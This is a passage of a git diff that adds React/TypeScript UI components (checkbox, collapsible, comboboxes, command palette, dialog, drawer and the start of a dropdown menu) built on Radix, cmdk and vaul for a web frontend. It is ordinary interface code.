+export {
+  type CarouselApi,
+  Carousel,
+  CarouselContent,
+  CarouselItem,
+  CarouselPrevious,
+  CarouselNext,
+}
diff --git a/new-api/web/default/src/components/ui/checkbox.tsx b/new-api/web/default/src/components/ui/checkbox.tsx
new file mode 100644
index 0000000..953c489
--- /dev/null
+++ b/new-api/web/default/src/components/ui/checkbox.tsx
@@ -0,0 +1,29 @@
+import * as React from 'react'
+import * as CheckboxPrimitive from '@radix-ui/react-checkbox'
+import { CheckIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+
+function Checkbox({
+  className,
+  ...props
+}: React.ComponentProps<typeof CheckboxPrimitive.Root>) {
+  return (
+    <CheckboxPrimitive.Root
+      data-slot='checkbox'
+      className={cn(
+        'peer border-input dark:bg-input/30 data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground dark:data-[state=checked]:bg-primary data-[state=checked]:border-primary focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive size-4 shrink-0 rounded-[4px] border shadow-xs transition-shadow outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50',
+        className
+      )}
+      {...props}
+    >
+      <CheckboxPrimitive.Indicator
+        data-slot='checkbox-indicator'
+        className='flex items-center justify-center text-current transition-none'
+      >
+        <CheckIcon className='size-3.5' />
+      </CheckboxPrimitive.Indicator>
+    </CheckboxPrimitive.Root>
+  )
+}
+
+export { Checkbox }
diff --git a/new-api/web/default/src/components/ui/collapsible.tsx b/new-api/web/default/src/components/ui/collapsible.tsx
new file mode 100644
index 0000000..3c45b7a
--- /dev/null
+++ b/new-api/web/default/src/components/ui/collapsible.tsx
@@ -0,0 +1,33 @@
+'use client'
+
+import * as CollapsiblePrimitive from '@radix-ui/react-collapsible'
+
+function Collapsible({
+  ...props
+}: React.ComponentProps<typeof CollapsiblePrimitive.Root>) {
+  return <CollapsiblePrimitive.Root data-slot='collapsible' {...props} />
+}
+
+function CollapsibleTrigger({
+  ...props
+}: React.ComponentProps<typeof CollapsiblePrimitive.CollapsibleTrigger>) {
+  return (
+    <CollapsiblePrimitive.CollapsibleTrigger
+      data-slot='collapsible-trigger'
+      {...props}
+    />
+  )
+}
+
+function CollapsibleContent({
+  ...props
+}: React.ComponentProps<typeof CollapsiblePrimitive.CollapsibleContent>) {
+  return (
+    <CollapsiblePrimitive.CollapsibleContent
+      data-slot='collapsible-content'
+      {...props}
+    />
+  )
+}
+
+export { Collapsible, CollapsibleTrigger, CollapsibleContent }
diff --git a/new-api/web/default/src/components/ui/combobox-input.tsx b/new-api/web/default/src/components/ui/combobox-input.tsx
new file mode 100644
index 0000000..cb0a70b
--- /dev/null
+++ b/new-api/web/default/src/components/ui/combobox-input.tsx
@@ -0,0 +1,197 @@
+import * as React from 'react'
+import { Check, ChevronsUpDown } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Input } from '@/components/ui/input'
+
+export type ComboboxInputOption = {
+  value: string
+  label: string
+  icon?: React.ReactNode
+}
+
+interface ComboboxInputProps {
+  options: ComboboxInputOption[]
+  value?: string
+  onValueChange: (value: string) => void
+  placeholder?: string
+  emptyText?: string
+  className?: string
+  id?: string
+}
+
+export function ComboboxInput({
+  options,
+  value = '',
+  onValueChange,
+  placeholder = 'Select or type...',
+  emptyText = 'No option found.',
+  className,
+  id,
+}: ComboboxInputProps) {
+  const { t } = useTranslation()
+  const [open, setOpen] = React.useState(false)
+  const [highlightedIndex, setHighlightedIndex] = React.useState(-1)
+  const containerRef = React.useRef<HTMLDivElement>(null)
+  const inputRef = React.useRef<HTMLInputElement>(null)
+  const listRef = React.useRef<HTMLUListElement>(null)
+
+  const filteredOptions = React.useMemo(() => {
+    if (!value.trim()) return options
+    const search = value.toLowerCase().trim()
+    return options.filter(
+      (option) =>
+        option.label.toLowerCase().includes(search) ||
+        option.value.toLowerCase().includes(search)
+    )
+  }, [options, value])
+
+  // Reset highlight when filtered options change
+  React.useEffect(() => {
+    setHighlightedIndex(-1)
+  }, [filteredOptions])
+
+  // Handle click outside to close
+  React.useEffect(() => {
+    if (!open) return
+
+    const handleClickOutside = (e: MouseEvent) => {
+      if (
+        containerRef.current &&
+        !containerRef.current.contains(e.target as Node)
+      ) {
+        setOpen(false)
+      }
+    }
+
+    document.addEventListener('mousedown', handleClickOutside)
+    return () => document.removeEventListener('mousedown', handleClickOutside)
+  }, [open])
+
+  const handleSelect = (selectedValue: string) => {
+    onValueChange(selectedValue)
+    setOpen(false)
+    inputRef.current?.focus()
+  }
+
+  const handleKeyDown = (e: React.KeyboardEvent<HTMLInputElement>) => {
+    if (!open && (e.key === 'ArrowDown' || e.key === 'ArrowUp')) {
+      setOpen(true)
+      return
+    }
+
+    if (!open) return
+
+    switch (e.key) {
+      case 'ArrowDown':
+        e.preventDefault()
+        setHighlightedIndex((prev) =>
+          prev < filteredOptions.length - 1 ? prev + 1 : 0
+        )
+        break
+      case 'ArrowUp':
+        e.preventDefault()
+        setHighlightedIndex((prev) =>
+          prev > 0 ? prev - 1 : filteredOptions.length - 1
+        )
+        break
+      case 'Enter':
+        e.preventDefault()
+        if (highlightedIndex >= 0 && filteredOptions[highlightedIndex]) {
+          handleSelect(filteredOptions[highlightedIndex].value)
+        } else {
+          // No highlighted option, just close the dropdown and keep current value
+          setOpen(false)
+        }
+        break
+      case 'Escape':
+        e.preventDefault()
+        setOpen(false)
+        break
+    }
+  }
+
+  // Scroll highlighted item into view
+  React.useEffect(() => {
+    if (highlightedIndex < 0 || !listRef.current) return
+    const item = listRef.current.children[highlightedIndex] as HTMLElement
+    item?.scrollIntoView({ block: 'nearest' })
+  }, [highlightedIndex])
+
+  const showDropdown = open && (filteredOptions.length > 0 || value.trim())
+
+  return (
+    <div ref={containerRef} className='relative'>
+      <Input
+        ref={inputRef}
+        id={id}
+        type='text'
+        role='combobox'
+        aria-expanded={open}
+        aria-haspopup='listbox'
+        aria-autocomplete='list'
+        autoComplete='off'
+        placeholder={placeholder}
+        value={value}
+        onChange={(e) => {
+          onValueChange(e.target.value)
+          if (!open) setOpen(true)
+        }}
+        onFocus={() => setOpen(true)}
+        onKeyDown={handleKeyDown}
+        className={cn('pr-9', className)}
+      />
+      <ChevronsUpDown className='pointer-events-none absolute top-1/2 right-3 size-4 shrink-0 -translate-y-1/2 opacity-50' />
+
+      {showDropdown && (
+        <div className='bg-popover text-popover-foreground absolute top-full z-100 mt-1 w-full rounded-md border shadow-md'>
+          {filteredOptions.length > 0 ? (
+            <ul
+              ref={listRef}
+              role='listbox'
+              className='max-h-[200px] overflow-y-auto p-1'
+            >
+              {filteredOptions.map((option, index) => (
+                <li
+                  key={option.value}
+                  role='option'
+                  aria-selected={value === option.value}
+                  data-highlighted={index === highlightedIndex}
+                  className={cn(
+                    'relative flex cursor-pointer items-center gap-2 rounded-sm px-2 py-1.5 text-sm select-none',
+                    index === highlightedIndex &&
+                      'bg-accent text-accent-foreground',
+                    value === option.value && 'font-medium'
+                  )}
+                  onMouseEnter={() => setHighlightedIndex(index)}
+                  onMouseDown={(e) => {
+                    e.preventDefault() // Prevent blur
+                    handleSelect(option.value)
+                  }}
+                >
+                  <Check
+                    className={cn(
+                      'size-4 shrink-0',
+                      value === option.value ? 'opacity-100' : 'opacity-0'
+                    )}
+                  />
+                  {option.icon && <span>{option.icon}</span>}
+                  <span className='truncate'>{option.label}</span>
+                </li>
+              ))}
+            </ul>
+          ) : (
+            <div className='px-2 py-6 text-center text-sm'>
+              {emptyText}
+              {value.trim() && (
+                <div className='text-muted-foreground mt-1 text-xs'>
+                  {t('Press Enter to use "{{value}}"', { value: value.trim() })}
+                </div>
+              )}
+            </div>
+          )}
+        </div>
+      )}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/ui/combobox.tsx b/new-api/web/default/src/components/ui/combobox.tsx
new file mode 100644
index 0000000..4e16943
--- /dev/null
+++ b/new-api/web/default/src/components/ui/combobox.tsx
@@ -0,0 +1,148 @@
+import * as React from 'react'
+import { Check, ChevronsUpDown } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  Command,
+  CommandEmpty,
+  CommandGroup,
+  CommandInput,
+  CommandItem,
+  CommandList,
+} from '@/components/ui/command'
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from '@/components/ui/popover'
+
+export type ComboboxOption = {
+  value: string
+  label: string
+  icon?: React.ReactNode
+}
+
+interface ComboboxProps {
+  options: ComboboxOption[]
+  value?: string
+  onValueChange: (value: string) => void
+  placeholder?: string
+  searchPlaceholder?: string
+  emptyText?: string
+  className?: string
+  allowCustomValue?: boolean
+}
+
+export function Combobox({
+  options,
+  value,
+  onValueChange,
+  placeholder = 'Select option...',
+  searchPlaceholder = 'Search...',
+  emptyText = 'No option found.',
+  className,
+  allowCustomValue = false,
+}: ComboboxProps) {
+  const { t } = useTranslation()
+  const [open, setOpen] = React.useState(false)
+  const [searchValue, setSearchValue] = React.useState('')
+
+  const selectedOption = options.find((option) => option.value === value)
+  const displayValue = selectedOption?.label || value || placeholder
+
+  const filteredOptions = React.useMemo(() => {
+    if (!searchValue) return options
+    const search = searchValue.toLowerCase()
+    return options.filter(
+      (option) =>
+        option.label.toLowerCase().includes(search) ||
+        option.value.toLowerCase().includes(search)
+    )
+  }, [options, searchValue])
+
+  const handleSelect = (selectedValue: string) => {
+    onValueChange(selectedValue === value ? '' : selectedValue)
+    setOpen(false)
+    setSearchValue('')
+  }
+
+  const handleKeyDown = (e: React.KeyboardEvent<HTMLInputElement>) => {
+    if (allowCustomValue && e.key === 'Enter' && searchValue) {
+      e.preventDefault()
+      // Check if search value matches any existing option
+      const exactMatch = options.find(
+        (opt) => opt.value.toLowerCase() === searchValue.toLowerCase()
+      )
+      if (exactMatch) {
+        handleSelect(exactMatch.value)
+      } else {
+        // Use custom value
+        onValueChange(searchValue)
+        setOpen(false)
+        setSearchValue('')
+      }
+    }
+  }
+
+  return (
+    <Popover open={open} onOpenChange={setOpen}>
+      <PopoverTrigger asChild>
+        <Button
+          variant='outline'
+          role='combobox'
+          aria-expanded={open}
+          className={cn('w-full justify-between', className)}
+        >
+          <span className='truncate'>
+            {selectedOption?.icon && (
+              <span className='mr-2 inline-block'>{selectedOption.icon}</span>
+            )}
+            {displayValue}
+          </span>
+          <ChevronsUpDown className='ml-2 h-4 w-4 shrink-0 opacity-50' />
+        </Button>
+      </PopoverTrigger>
+      <PopoverContent className='w-[var(--radix-popover-trigger-width)] p-0'>
+        <Command shouldFilter={false}>
+          <CommandInput
+            placeholder={searchPlaceholder}
+            value={searchValue}
+            onValueChange={setSearchValue}
+            onKeyDown={handleKeyDown}
+          />
+          <CommandList>
+            <CommandEmpty>
+              {emptyText}
+              {allowCustomValue && searchValue && (
+                <div className='mt-2 text-xs'>
+                  {t('Press Enter to use "{{value}}"', {
+                    value: searchValue,
+                  })}
+                </div>
+              )}
+            </CommandEmpty>
+            <CommandGroup>
+              {filteredOptions.map((option) => (
+                <CommandItem
+                  key={option.value}
+                  value={option.value}
+                  onSelect={handleSelect}
+                >
+                  <Check
+                    className={cn(
+                      'mr-2 h-4 w-4',
+                      value === option.value ? 'opacity-100' : 'opacity-0'
+                    )}
+                  />
+                  {option.icon && <span className='mr-2'>{option.icon}</span>}
+                  {option.label}
+                </CommandItem>
+              ))}
+            </CommandGroup>
+          </CommandList>
+        </Command>
+      </PopoverContent>
+    </Popover>
+  )
+}
diff --git a/new-api/web/default/src/components/ui/command.tsx b/new-api/web/default/src/components/ui/command.tsx
new file mode 100644
index 0000000..fb108aa
--- /dev/null
+++ b/new-api/web/default/src/components/ui/command.tsx
@@ -0,0 +1,181 @@
+import * as React from 'react'
+import { Command as CommandPrimitive } from 'cmdk'
+import { SearchIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+
+function Command({
+  className,
+  ...props
+}: React.ComponentProps<typeof CommandPrimitive>) {
+  return (
+    <CommandPrimitive
+      data-slot='command'
+      className={cn(
+        'bg-popover text-popover-foreground flex h-full w-full flex-col overflow-hidden rounded-md',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function CommandDialog({
+  title = 'Command Palette',
+  description = 'Search for a command to run...',
+  children,
+  className,
+  showCloseButton = true,
+  ...props
+}: React.ComponentProps<typeof Dialog> & {
+  title?: string
+  description?: string
+  className?: string
+  showCloseButton?: boolean
+}) {
+  return (
+    <Dialog {...props}>
+      <DialogHeader className='sr-only'>
+        <DialogTitle>{title}</DialogTitle>
+        <DialogDescription>{description}</DialogDescription>
+      </DialogHeader>
+      <DialogContent
+        className={cn('overflow-hidden p-0', className)}
+        showCloseButton={showCloseButton}
+      >
+        <Command className='[&_[cmdk-group-heading]]:text-muted-foreground **:data-[slot=command-input-wrapper]:h-12 [&_[cmdk-group-heading]]:px-2 [&_[cmdk-group-heading]]:font-medium [&_[cmdk-group]]:px-2 [&_[cmdk-group]:not([hidden])_~[cmdk-group]]:pt-0 [&_[cmdk-input-wrapper]_svg]:h-5 [&_[cmdk-input-wrapper]_svg]:w-5 [&_[cmdk-input]]:h-12 [&_[cmdk-item]]:px-2 [&_[cmdk-item]]:py-3 [&_[cmdk-item]_svg]:h-5 [&_[cmdk-item]_svg]:w-5'>
+          {children}
+        </Command>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+function CommandInput({
+  className,
+  ...props
+}: React.ComponentProps<typeof CommandPrimitive.Input>) {
+  return (
+    <div
+      data-slot='command-input-wrapper'
+      className='flex h-9 items-center gap-2 border-b px-3'
+    >
+      <SearchIcon className='size-4 shrink-0 opacity-50' />
+      <CommandPrimitive.Input
+        data-slot='command-input'
+        className={cn(
+          'placeholder:text-muted-foreground flex h-10 w-full rounded-md bg-transparent py-3 text-sm outline-hidden disabled:cursor-not-allowed disabled:opacity-50',
+          className
+        )}
+        {...props}
+      />
+    </div>
+  )
+}
+
+function CommandList({
+  className,
+  ...props
+}: React.ComponentProps<typeof CommandPrimitive.List>) {
+  return (
+    <CommandPrimitive.List
+      data-slot='command-list'
+      className={cn(
+        'max-h-[300px] scroll-py-1 overflow-x-hidden overflow-y-auto',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function CommandEmpty({
+  ...props
+}: React.ComponentProps<typeof CommandPrimitive.Empty>) {
+  return (
+    <CommandPrimitive.Empty
+      data-slot='command-empty'
+      className='py-6 text-center text-sm'
+      {...props}
+    />
+  )
+}
+
+function CommandGroup({
+  className,
+  ...props
+}: React.ComponentProps<typeof CommandPrimitive.Group>) {
+  return (
+    <CommandPrimitive.Group
+      data-slot='command-group'
+      className={cn(
+        'text-foreground [&_[cmdk-group-heading]]:text-muted-foreground overflow-hidden p-1 [&_[cmdk-group-heading]]:px-2 [&_[cmdk-group-heading]]:py-1.5 [&_[cmdk-group-heading]]:text-xs [&_[cmdk-group-heading]]:font-medium',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function CommandSeparator({
+  className,
+  ...props
+}: React.ComponentProps<typeof CommandPrimitive.Separator>) {
+  return (
+    <CommandPrimitive.Separator
+      data-slot='command-separator'
+      className={cn('bg-border -mx-1 h-px', className)}
+      {...props}
+    />
+  )
+}
+
+function CommandItem({
+  className,
+  ...props
+}: React.ComponentProps<typeof CommandPrimitive.Item>) {
+  return (
+    <CommandPrimitive.Item
+      data-slot='command-item'
+      className={cn(
+        "data-[selected=true]:bg-accent data-[selected=true]:text-accent-foreground [&_svg:not([class*='text-'])]:text-muted-foreground relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function CommandShortcut({
+  className,
+  ...props
+}: React.ComponentProps<'span'>) {
+  return (
+    <span
+      data-slot='command-shortcut'
+      className={cn(
+        'text-muted-foreground ml-auto text-xs tracking-widest',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export {
+  Command,
+  CommandDialog,
+  CommandInput,
+  CommandList,
+  CommandEmpty,
+  CommandGroup,
+  CommandItem,
+  CommandShortcut,
+  CommandSeparator,
+}
diff --git a/new-api/web/default/src/components/ui/dialog.tsx b/new-api/web/default/src/components/ui/dialog.tsx
new file mode 100644
index 0000000..db3fbb0
--- /dev/null
+++ b/new-api/web/default/src/components/ui/dialog.tsx
@@ -0,0 +1,140 @@
+import * as React from 'react'
+import * as DialogPrimitive from '@radix-ui/react-dialog'
+import { XIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+
+function Dialog({
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Root>) {
+  return <DialogPrimitive.Root data-slot='dialog' {...props} />
+}
+
+function DialogTrigger({
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Trigger>) {
+  return <DialogPrimitive.Trigger data-slot='dialog-trigger' {...props} />
+}
+
+function DialogPortal({
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Portal>) {
+  return <DialogPrimitive.Portal data-slot='dialog-portal' {...props} />
+}
+
+function DialogClose({
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Close>) {
+  return <DialogPrimitive.Close data-slot='dialog-close' {...props} />
+}
+
+function DialogOverlay({
+  className,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Overlay>) {
+  return (
+    <DialogPrimitive.Overlay
+      data-slot='dialog-overlay'
+      className={cn(
+        'data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 fixed inset-0 z-50 bg-black/50',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function DialogContent({
+  className,
+  children,
+  showCloseButton = true,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Content> & {
+  showCloseButton?: boolean
+}) {
+  return (
+    <DialogPortal data-slot='dialog-portal'>
+      <DialogOverlay />
+      <DialogPrimitive.Content
+        data-slot='dialog-content'
+        className={cn(
+          'bg-background data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] translate-x-[-50%] translate-y-[-50%] gap-4 rounded-lg border p-6 shadow-lg duration-200 sm:max-w-lg',
+          className
+        )}
+        {...props}
+      >
+        {children}
+        {showCloseButton && (
+          <DialogPrimitive.Close
+            data-slot='dialog-close'
+            className="ring-offset-background focus:ring-ring data-[state=open]:bg-accent data-[state=open]:text-muted-foreground absolute top-4 right-4 rounded-xs opacity-70 transition-opacity hover:opacity-100 focus:ring-2 focus:ring-offset-2 focus:outline-hidden disabled:pointer-events-none [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4"
+          >
+            <XIcon />
+            <span className='sr-only'>Close</span>
+          </DialogPrimitive.Close>
+        )}
+      </DialogPrimitive.Content>
+    </DialogPortal>
+  )
+}
+
+function DialogHeader({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='dialog-header'
+      className={cn('flex flex-col gap-2 text-center sm:text-left', className)}
+      {...props}
+    />
+  )
+}
+
+function DialogFooter({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='dialog-footer'
+      className={cn(
+        'flex flex-col-reverse gap-2 sm:flex-row sm:justify-end',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function DialogTitle({
+  className,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Title>) {
+  return (
+    <DialogPrimitive.Title
+      data-slot='dialog-title'
+      className={cn('text-lg leading-none font-semibold', className)}
+      {...props}
+    />
+  )
+}
+
+function DialogDescription({
+  className,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Description>) {
+  return (
+    <DialogPrimitive.Description
+      data-slot='dialog-description'
+      className={cn('text-muted-foreground text-sm', className)}
+      {...props}
+    />
+  )
+}
+
+export {
+  Dialog,
+  DialogClose,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogOverlay,
+  DialogPortal,
+  DialogTitle,
+  DialogTrigger,
+}
diff --git a/new-api/web/default/src/components/ui/drawer.tsx b/new-api/web/default/src/components/ui/drawer.tsx
new file mode 100644
index 0000000..532b30a
--- /dev/null
+++ b/new-api/web/default/src/components/ui/drawer.tsx
@@ -0,0 +1,132 @@
+import * as React from 'react'
+import { Drawer as DrawerPrimitive } from 'vaul'
+import { cn } from '@/lib/utils'
+
+function Drawer({
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Root>) {
+  return <DrawerPrimitive.Root data-slot='drawer' {...props} />
+}
+
+function DrawerTrigger({
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Trigger>) {
+  return <DrawerPrimitive.Trigger data-slot='drawer-trigger' {...props} />
+}
+
+function DrawerPortal({
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Portal>) {
+  return <DrawerPrimitive.Portal data-slot='drawer-portal' {...props} />
+}
+
+function DrawerClose({
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Close>) {
+  return <DrawerPrimitive.Close data-slot='drawer-close' {...props} />
+}
+
+function DrawerOverlay({
+  className,
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Overlay>) {
+  return (
+    <DrawerPrimitive.Overlay
+      data-slot='drawer-overlay'
+      className={cn(
+        'data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 fixed inset-0 z-50 bg-black/50',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function DrawerContent({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Content>) {
+  return (
+    <DrawerPortal data-slot='drawer-portal'>
+      <DrawerOverlay />
+      <DrawerPrimitive.Content
+        data-slot='drawer-content'
+        className={cn(
+          'group/drawer-content bg-background fixed z-50 flex h-auto flex-col',
+          'data-[vaul-drawer-direction=top]:inset-x-0 data-[vaul-drawer-direction=top]:top-0 data-[vaul-drawer-direction=top]:mb-24 data-[vaul-drawer-direction=top]:max-h-[80vh] data-[vaul-drawer-direction=top]:rounded-b-lg data-[vaul-drawer-direction=top]:border-b',
+          'data-[vaul-drawer-direction=bottom]:inset-x-0 data-[vaul-drawer-direction=bottom]:bottom-0 data-[vaul-drawer-direction=bottom]:mt-24 data-[vaul-drawer-direction=bottom]:max-h-[80vh] data-[vaul-drawer-direction=bottom]:rounded-t-lg data-[vaul-drawer-direction=bottom]:border-t',
+          'data-[vaul-drawer-direction=right]:inset-y-0 data-[vaul-drawer-direction=right]:right-0 data-[vaul-drawer-direction=right]:w-3/4 data-[vaul-drawer-direction=right]:border-l data-[vaul-drawer-direction=right]:sm:max-w-sm',
+          'data-[vaul-drawer-direction=left]:inset-y-0 data-[vaul-drawer-direction=left]:left-0 data-[vaul-drawer-direction=left]:w-3/4 data-[vaul-drawer-direction=left]:border-r data-[vaul-drawer-direction=left]:sm:max-w-sm',
+          className
+        )}
+        {...props}
+      >
+        <div className='bg-muted mx-auto mt-4 hidden h-2 w-[100px] shrink-0 rounded-full group-data-[vaul-drawer-direction=bottom]/drawer-content:block' />
+        {children}
+      </DrawerPrimitive.Content>
+    </DrawerPortal>
+  )
+}
+
+function DrawerHeader({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='drawer-header'
+      className={cn(
+        'flex flex-col gap-0.5 p-4 group-data-[vaul-drawer-direction=bottom]/drawer-content:text-center group-data-[vaul-drawer-direction=top]/drawer-content:text-center md:gap-1.5 md:text-left',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function DrawerFooter({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='drawer-footer'
+      className={cn('mt-auto flex flex-col gap-2 p-4', className)}
+      {...props}
+    />
+  )
+}
+
+function DrawerTitle({
+  className,
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Title>) {
+  return (
+    <DrawerPrimitive.Title
+      data-slot='drawer-title'
+      className={cn('text-foreground font-semibold', className)}
+      {...props}
+    />
+  )
+}
+
+function DrawerDescription({
+  className,
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Description>) {
+  return (
+    <DrawerPrimitive.Description
+      data-slot='drawer-description'
+      className={cn('text-muted-foreground text-sm', className)}
+      {...props}
+    />
+  )
+}
+
+export {
+  Drawer,
+  DrawerPortal,
+  DrawerOverlay,
+  DrawerTrigger,
+  DrawerClose,
+  DrawerContent,
+  DrawerHeader,
+  DrawerFooter,
+  DrawerTitle,
+  DrawerDescription,
+}
diff --git a/new-api/web/default/src/components/ui/dropdown-menu.tsx b/new-api/web/default/src/components/ui/dropdown-menu.tsx
new file mode 100644
index 0000000..e17b353
--- /dev/null
+++ b/new-api/web/default/src/components/ui/dropdown-menu.tsx
@@ -0,0 +1,256 @@
+'use client'
+
+import * as React from 'react'
+import * as DropdownMenuPrimitive from '@radix-ui/react-dropdown-menu'
+import { CheckIcon, ChevronRightIcon, CircleIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+
+function DropdownMenu({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
+  return <DropdownMenuPrimitive.Root data-slot='dropdown-menu' {...props} />
+}
+
+function DropdownMenuPortal({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Portal>) {
+  return (
+    <DropdownMenuPrimitive.Portal data-slot='dropdown-menu-portal' {...props} />
+  )
+}
+
+function DropdownMenuTrigger({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Trigger>) {
+  return (
+    <DropdownMenuPrimitive.Trigger
+      data-slot='dropdown-menu-trigger'
+      {...props}
+    />
+  )
+}
+
+function DropdownMenuContent({
+  className,
+  sideOffset = 4,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Content>) {
+  return (
+    <DropdownMenuPrimitive.Portal>
+      <DropdownMenuPrimitive.Content
+        data-slot='dropdown-menu-content'
+        sideOffset={sideOffset}
+        className={cn(
+          'bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 max-h-(--radix-dropdown-menu-content-available-height) min-w-[8rem] origin-(--radix-dropdown-menu-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-md border p-1 shadow-md',
+          className
+        )}
+        {...props}
+      />
+    </DropdownMenuPrimitive.Portal>
+  )
+}
+
+function DropdownMenuGroup({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Group>) {
+  return (
+    <DropdownMenuPrimitive.Group data-slot='dropdown-menu-group' {...props} />
+  )
+}
+
+function DropdownMenuItem({
+  className,
+  inset,
+  variant = 'default',
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Item> & {
+  inset?: boolean
+  variant?: 'default' | 'destructive'
+}) {
+  return (
+    <DropdownMenuPrimitive.Item
+      data-slot='dropdown-menu-item'
+      data-inset={inset}
+      data-variant={variant}
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 dark:data-[variant=destructive]:focus:bg-destructive/20 data-[variant=destructive]:focus:text-destructive data-[variant=destructive]:*:[svg]:!text-destructive [&_svg:not([class*='text-'])]:text-muted-foreground relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function DropdownMenuCheckboxItem({
+  className,
+  children,
+  checked,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.CheckboxItem>) {
+  return (
+    <DropdownMenuPrimitive.CheckboxItem
+      data-slot='dropdown-menu-checkbox-item'
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className
+      )}
+      checked={checked}
+      {...props}
+    >
+      <span className='pointer-events-none absolute left-2 flex size-3.5 items-center justify-center'>
+        <DropdownMenuPrimitive.ItemIndicator>
+          <CheckIcon className='size-4' />
+        </DropdownMenuPrimitive.ItemIndicator>
+      </span>
+      {children}
+    </DropdownMenuPrimitive.CheckboxItem>
+  )
+}
+
+function DropdownMenuRadioGroup({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.RadioGroup>) {
+  return (
+    <DropdownMenuPrimitive.RadioGroup
+      data-slot='dropdown-menu-radio-group'
+      {...props}
+    />
+  )
+}
+
+function DropdownMenuRadioItem({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.RadioItem>) {
+  return (
+    <DropdownMenuPrimitive.RadioItem
+      data-slot='dropdown-menu-radio-item'
+      className={cn(
